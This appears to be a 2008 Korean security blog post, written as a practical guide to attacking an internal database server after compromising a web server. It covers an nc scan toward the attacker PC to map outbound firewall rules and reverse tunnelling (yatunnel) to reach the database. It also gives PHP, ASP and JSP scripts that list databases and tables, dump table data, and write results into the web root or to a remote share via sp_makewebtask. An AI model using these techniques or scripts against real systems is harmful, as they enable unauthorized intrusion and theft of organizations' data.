98..Etc/Security2008. 7. 24. 12:53
반응형

웹서버를 경유한 DB서버 해킹

 

웹서버를 경유한 DB서버 해킹


방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는
서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다.
-----------------------------------------------------------------------------------------------------------------
I. 네트워크 구성도
1) 인터넷  -------방화벽------- 웹서버 --------방화벽---------DB서버

2) 인터넷  -------방화벽------- 웹서버   
                               DB서버 
                               (DMZ존)
------------------------------------------------------------------------------------------------------------------
II. 개요
본 문서에 있는 방법은 이미 다 알고 있는 내용이거나 인터넷에 찾아 보면 다 나오는 내용들이다
내용상의 틀린 부분이 있으면 지적해 주시면 감사감사~~~
Private 또는 DMZ에 위치하는 DB 서버를 해킹 하기 위해선
먼저 DB 접속 인증 id/passwd 또는 sid 를 알아야 하며 또한 웹서버를 경유하여 DB와 접속을 하여야 하므로
어떤 방법으로든 웹서버는 점령하여야 한다.
웹서버 점령에 관해서는 이 문서에서는 언급 하지 않는다.
이유는 너무나 많은 방법이 있으며 나도 그 모든 방법에 대해서 모른다.
또한 이와 같이 삽질을 안하고도 대다수의 웹서버의 temp,tmp디렉토리 또는 admin 권한으로 DB의 내용을 획득할
수도 있으나 어쩔수 없이 DB 쿼리를 해야 하는 상황에 대해서 설명한다.
물론 해당 웹서버를 직접 공격하지 않고 sql injection 공격을 할 수 있으면 아래와 같은 삽질은 하지 않아도 될것이다.
일단 방화벽 내의 웹서버를 점령한 후 DB서버를 해킹 하는 방법은 상당히 많은
방법이 있으며 dbms의 종류 웹서버의 종류 cgi의 종류에 따라 많은 조합의 공격법이 있다.
또한 DB 서버를 해킹할때 root권한 획득과 같은 방법은 별 필요가 없을 것이다.
왜냐하면 결국 DB 서버의 해킹의 목적은 DB의 내용을 획득하는 것이기 때문에 root권한이 필요가 없다.
DB를 쿼리하기 이전에 웹서버 앞의 Firewall Rule에 따라 접근개념이 틀려 질 수 있으므로
아래와 같이 크게 2가지 분류로 나누어 접근하도록 하겠다.
Firewall Rule을 파악하기 위해서 공격자의 PC에 Sniffing Tool을 설치하고 해당 웹서버에는 nc를 설치한다.
공격자의 PC에서는 해당 웹서버에서 공격자 PC로 전송되는 패킷에 대한 검사를 수행하고
해당 웹서버에서는 다음과 같이 실행한다
nc -v -w2 -z [공격자 PC IP] 1-65535
이는 해당 웹서버에서 공격자 PC로의 어떤 서비스가 통과 가능한지 파악하기 위함이다.
Firewall Rule에서 특정 서비스에 대해서만 Accept되어 있을 수 있다 예를 들어 외부로 나가는 dns또는 특정 Application의
update서비스와 같이 특정 서비스만 Accept되어 있으면 그 서비스를 판단할 수 있다.
또한 공격자의 PC에서 Sniffing을 설치하여 패킷 검사를 하는 이유는 nc는 nmap과 같이 closed와 filtered를 구분하지
못하기 때문에 수동으로 패킷을 검사하여 확인을 한다.
nc수행 결과 공격자의 PC로 한개 이상의 syn 패킷이 전송이 된다면 아래 1번 방법으로 DB 쿼리가 가능하다
2번 방법은 웹서버에서 인터넷구간으로의 Outbound Rule이 서비스 전체에 대해 Deny일 경우로
해당 웹서버의 cgi를 이용하여 DB쿼리를 수행한다.

-------------------------------------------------------------------------------------------------------------------
III. 실전 DB 해킹
1) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Accept인 경우
이는 port redirect(cevert tunnel, reverse telnet)이 가능한 상태이다.
즉 외부에서 해당 웹서버의 쉘을 띄울수가 있는 상태이므로 쉽게 DB쿼리가 가능하다.
우선 공격대상 네트워크는 아래와 같다고 가정한다.
실제 Firewall/네트워크 구성이 상당수 기업들이 이와 유사하게 설정 되어 있다.
===================================================================================================================
[공인:210.210.210.210]                         [공인: 220.220.220.220]                       [사설:192.168.0.100]
공격자 PC1 -------------------- 방화벽 ----------------- 웹서버 ------------방화벽----------------- DB 서버
                      Any    웹서버 80     Accept              웹서버   DB서버  DB서비스 Accept
                      Any    웹서버 Any    Deny                Any      DB서버  Any      Deny
                      웹서버 Any    8080   Accept
                      웹서버 Any    Any    Deny
공격자 PC2(Proxy 서버)
[공인:210.210.210.211]
=====================================================================================================================
port redirect는 yatunnel이란 tool을 이용하여 아래와 같이 수행한다.
만일 웹서버에 sql client툴이 있을경우 이를 이용하면 쉽게 DB에 접속하여 쿼리를 할 수 있으나
경험상 아마도 없을 것이다. ^^;
- 공격자 PC2(Proxy 서버)에서의 작업
 Proxy 서버측에서 웹서버와 Tunneling 할 port를 open한다.
 [root@Proxy Server]# ./tun-proxy -p 12345

- 웹서버에서의 작업
 tun-server의 소스를 보면 127.0.0.1:22로 redirect를 한다.
 이 부분은 자신이 원하는 주소와 port를 수정하여 사용 가능하다.
 즉, 다른 호스트로 redirect가 가능하다. 즉 이를 192.168.0.100:1433으로 수정한다.
 MSSQL:1433, Oracle:1521, MySQL:3306
 [green@Internal Server]$ ./tun-server -h 210.210.210.211 -p 12345
- 공격자 PC1 에서의 작업
 각종 SQL Client를 이용하여 210.210.210.211:12345로 DB와 Connect하고 DB 쿼리를 한다.
 MSSQL, MySQL, Oracle에 대한 SQL Client는 아래 사이트에 있는 SQL Gate가 사용이 용이하고 쉽다.
 http://www.sqlgate.com/html/index.html
* yatunnel을 이용한 SQL Client 연결은 한번도 테스트는 해 보지 않았다
 안될 이유는 없을것 이라고 판단이 되나 누군가 테스트 해 볼 기회가 된다면 안되면 연락을 주길 바란다.

2) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Deny인 경우
Outbound Rule이 Deny일 경우 순전히 해당 웹서버의 cgi를 이용하여 DB 쿼리를 하여야 한다.
이는 상당히 많은 조합이 필요하다 ㅠㅠ;
가장많이 사용되는 php, asp, jsp를 예로 들어 보겠다.
2-1) php를 사용할 경우
가장 먼저 DB Name과 Table Name을 알아야 DB 쿼리를 한다.
웹서버의 php파일들을 뒤져서 DB Name과 Table Name을 찾아 낼수 있지만 이 얼마나 노가다 인가...
그래서 아래와 같은 DB 구조 파악을 할 수 있는 php파일을 실행 시키자.
아래의 예제는 Mysql을 예로 들었다.
물론 아래의 몇몇 변수는 시스템 환경에 맞게 수정을 하여야 한다.

------------------------------------디비/테이블 알아내기---------------------------------------------
<?
$db = mysql_connect($host, $user, $password);
mysql_select_db($database);
//전체 DB보기
$db_list = mysql_list_dbs($db);
echo "전체 DB >>>>>";
while ($row = mysql_fetch_object($db_list)) {
$database= $row->Database;
echo "<a href=$PHP_SELF?dbname=$database>$row->Database </a>|| ";
}
$table_rs = mysql_list_tables($database);                  ////// 테이블을 볼 테이타 베이스명
echo "<style>td {font-size:9pt}</style>
<table >
<tr>";
$rows = 0;
while($tables = mysql_fetch_array($table_rs)){
       $query = "select * from $tables[0]";
       $field_rs = mysql_query($query, $db);
       $field = mysql_fetch_field($field_rs);            /////////// 필드명 구하기
       $cols = mysql_num_fields($field_rs);              /////////// 필드수 구하기
       if($rows%5 == 0) echo "</tr><tr><td height=20></td></tr><tr>";      //// 칼럼수가 5개 이면 줄 바꿈
       echo "<td valign=top>
             <table width=180 cellspacing=0 border=1 bordercolordark=white bordercolorlight=black>
               <tr>
                   <td colspan=2 align=center><b>$tables[0]</b></td>
               </tr>
               <tr align=center>
                   <td >필드명</td>
                   <td >Type</td>
               </tr>";
for($i=0; $i < $cols; $i++){
               echo "
               <tr align=right>
                   <td>".mysql_field_name($field_rs, $i)."</td>
                   <td>".mysql_field_type($field_rs, $i)." (".mysql_field_len($field_rs, $i).")</td>
               </tr>\n";
       }
       echo "</table></td>";
       $rows++;
}
echo "</tr></table>";
?>
-------------------------------------------------------------------------------------------------------------

-----------------------------테이블의 데이타 쿼리하기--------------------------------------------------------
// 데이타 양이 많을경우 디져버릴수 있으니 게시판 형태로 수정하여야 한다.
<?

$connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
mysql_select_db( "database_name",$connect);
print "<HTML>n"; 
echo("<h2>
       테이블  $tab_name  의 모든 데이타를 가져옵니다
    </h2>");
print " <form action=$PHP_SELF>";

$stmt = "SELECT * FROM $tab_name";
 $nresult = mysql_query($stmt,$connect );
 $nrows = mysql_affected_rows();
 $results=mysql_fetch_array($nresult);
if ( $nrows > 0 ) {
       print "<TABLE BORDER="1">n";
       print "<TR>n";
       $j=0; 
       while ( list( $key, $val ) = each( $results ) ) {
              if ( $j%2==1  )   print "<TH> $key</TH>n";
             $j++; 
       }     
       print "</TR>n";
                        
      $k=0; 
      for ( $k = 0; $k < $nrows; $k++ ) {
            mysql_data_seek($nresult,$k);
            $results=mysql_fetch_array($nresult);
          
            $m=0; 
            while ( list( $key, $val ) = each( $results ) ) {
                  if ( $m%2==1  )   print "<TD> $val</TD>";
                  $m++;
           } // end of while
            print "</TR>";
    } // end of for
print "</TABLE>n";
} else {
       echo "No data found<BR>n";
}     
print "$nrows Records Selected<BR>n";
                      

print " INPUT TABLE NAME <input type=text name=tab_name value=$tab_name>";
print " <br> <input type=submit value='검색'>";
print " </form>";
print " </html>";
?>
-------------------------------------------------------------------------------------------------------

------------------------------------테이블의 쿼리값을 파일로 저장---------------------------------------
<?

$connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
mysql_select_db( "database_name",$connect);
$stmt = "select * from tablename into outfile 'filename'";
mysql_query($stmt,$connect );
?>
--------------------------------------------------------------------------------------------------------

2-2) asp 를 사용할 경우
asp를 사용한다면 90% 이상 mssql과 조합을 이루고 있을 것이다.
Mssql은 sp_maskwebtask API가 있어 상당히 편리(?)하다.
쿼리한 결과값을 화면에 출력하는 수고를 하지 않아도 된다.
이 방법은 asp에만 사용되는 방법이 아니라 해당 DBMS가 MSSQL이라면 php또는 jsp 에서도 해당 cgi에 맞게 DB Connect후
sql query만 아래와 같이 실행하면 된다.
sp_maskwebtask를 이용하여 쿼리의 결과값을 Local서버 또는 Remote서버로 html로 저장시킬 수 있다.
EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U'''
이 명령어로 sysobjects에 있는 User가 생성한 DB 테이블을 쿼리한 결과값을 c:\inetpub\wwwroot\sqloutput.html에 저장한다.
EXEC sp_makewebtask '\\10.0.0.8\public\hack.htmk', 'SELECT * FROM user'
또한 쿼리한 결과값을 remote에 저장시킬 수 있다.
---------------------------------------------------------------------------------------------------------
테이블 정보 알아내기
<%
set Conn = server.createobject("adodb.connection")
Conn.Open "test","sa", ""
set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' ")
%>
-----------------------------------------------------------------------------------------------------------
자 이제 sales 테이블의 결과를 보자.
-----------------------------------------------------------------------------------------------------------
해당 sales 테이블의 전체 내용 쿼리하기
<%
set Conn = server.createobject("adodb.connection")
Conn.Open "test","sa", ""
set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' ")
%>
-----------------------------------------------------------------------------------------------------------
우와 간단하고 좋다... 역시 MS...

2-3) jsp 를 사용할 경우
jsp일 경우 Windows, *nix와 같이 시스템에 상관없이 운영되기 때문에
연결한 DBMS가 MSSQL, MYSQL, Oracle, Informix 등 다양한 DBMS와 연결을 한다.
가장 많이 사용되는 MSSQL과 Oracle을 예로 들어보잣...
먼저 MSSQL은 asp를 사용할 때와 마찬가지로 sp_maskwebtask API를 사용해서 DB 쿼리를 수행할 수 있다.
---------------------------------------------------------------------------------------------------------
MSSQL 테이블 정보 알아내기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%> 
<%
 String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
 String id = "sa";
 String pass = "";
 Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
 Connection conn = DriverManager.getConnection(url,id,pass); 
  
 Statement stmt = conn.createStatement(); 
 String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' "; 
 ResultSet rs = stmt.executeQuery(sql);   
%>
-----------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------
MSSQL sales 테이블 쿼리하기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%> 
<%

 String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
 String id = "sa";
 String pass = "";
 Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
 Connection conn = DriverManager.getConnection(url,id,pass); 
  
 Statement stmt = conn.createStatement(); 
 String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' "; 
 ResultSet rs = stmt.executeQuery(sql);   
%>
-----------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------
Oracle 테이블 정보 알아내기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%>
<%
 Class.forName("oracle.jdbc.driver.OracleDriver");
 String JDBCDriverType = "jdbc:oracle:thin";
 String DBHost = "test.inzen.com";
 String Port = "1521";
 String SID = "ORA8";
 String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
 String userID = "test";
 String password = "test";
 String query = "select * from tab";
 Connect con = DriverManager.getConnection(url, userID, password);
 Statement stmt = con.createStatement();
 ResultSet rs = stmt.executeQuery(query);
 File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
 FileWriter fout = new FileWriter(outputFile);
 PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
 while ( rs.next() ) {
  ps.print ( rs.getString ( 1 ) ) ;
  ps.print ( "        " ) ;
  ps.println ( rs.getString ( 2 ) ) ;
 }
 ps.close() ;
%>
---------------------------------------------------------------------------------------------------------------
위의 File outputFile 에 파일명을 지정하는데 절대 경로와 상대경로 다 쓸 수 있다.
만약 jsp 의 엔진으로 tomcat 을 사용하고 있는경우 /usr/local/jakarta-tomcat/bin 에 default 로 파일이 생성되게 된다.
그러므로 웹에서 불러 올수 있는 경로를 지정해야 한다.
/usr/local/jakarta-tomcat/webapps 의 위치가 jsp 웹  루트 디렉토리라면
File outputFile = new File("/usr/local/jakarta-tomcat/webapps/oratable.txt");
이런 식으로 지정을 한다.
---------------------------------------------------------------------------------------------------------------
Oracle 특정 테이블 쿼리하기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%>
<%
 Class.forName("oracle.jdbc.driver.OracleDriver");
 String JDBCDriverType = "jdbc:oracle:thin";
 String DBHost = "test.inzen.com";
 String Port = "1521";
 String SID = "ORA8";
 String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
 String userID = "test";
 String password = "test";
 String query = "select gongi, day from gongi";
 Connect con = DriverManager.getConnection(url, userID, password);
 Statement stmt = con.createStatement();
 ResultSet rs = stmt.executeQuery(query);
 File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
 FileWriter fout = new FileWriter(outputFile);
 PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
 while ( rs.next() ) {
  ps.print ( rs.getString ( 1 ) ) ;
  ps.print ( "        " ) ;
  ps.println ( rs.getString ( 2 ) ) ;
 }
 ps.close() ;
%>
---------------------------------------------------------------------------------------------------------------
The End.

by 작두이글루
Posted by 1010